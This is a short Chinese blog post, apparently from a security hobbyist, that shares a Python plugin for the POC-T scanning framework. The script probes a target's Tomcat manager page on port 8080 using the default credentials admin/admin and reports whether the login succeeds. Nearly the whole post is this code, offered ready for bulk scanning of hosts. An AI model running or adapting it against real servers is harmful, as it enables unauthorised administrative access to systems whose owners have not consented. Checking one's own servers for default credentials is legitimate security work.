这篇文章上次修改于 2160 天前，可能其部分内容已经发生变化，如有疑问可询问作者。 简易版的，直接贴代码吧。 ```python #!/usr/bin/env python # -*- coding: utf-8 -*- # project = https://github.com/Xyntax/POC-T #author:r3m1x import requests import sys def poc(url): url = url if '://' in url else 'http://' + url if url[-1] != '/': url += ':8080/' vuln_url = url + "manager/html" headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0','Connection': "close"} try: req = requests.get(vuln_url, auth=('admin', 'admin'),headers=headers,verify=False,timeout=2) if req.status_code == 200: return True req.keep_alive = False except Exception: pass return False ``` 效果图： 
没有评论